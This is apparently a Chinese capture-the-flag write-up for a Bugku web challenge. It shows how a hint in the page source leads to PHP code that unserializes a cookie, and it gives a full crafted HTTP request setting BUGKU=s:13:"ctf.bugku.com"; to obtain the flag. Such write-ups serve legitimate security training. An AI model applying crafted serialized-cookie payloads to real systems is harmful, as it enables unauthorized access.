在页面源码中看到一个css文件
并看到构建的表是post请求

访问后看到一个注释，叫尝试?17026
在页面尝试

得到源码
这里让在cookie中添加参数BUGKU，并使参数为字符串类型ctf.bugku.com

这里有反序列化函数，先得到字符串ctf.bugku.com的序列号参数s:13:"ctf.bugku.com";
构建报文

GET / HTTP/1.1
Host: 114.67.175.224:13051
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Hm_lvt_c1b044f909411ac4213045f0478e96fc=1711286763; _ga=GA1.1.52075818.1711286767; _ga_F3VRZT58SJ=GS1.1.1711288951.2.1.1711290145.0.0.0;BUGKU=s:13:"ctf.bugku.com";
s:13:"ctf.bugku.com";
Connection: close

这里在cookie中添加参数BUGKU，并将字符串的序列号参数填入为值
请求114.67.175.224:13051这个地址，而不是114.67.175.224:13051?17026

得到flag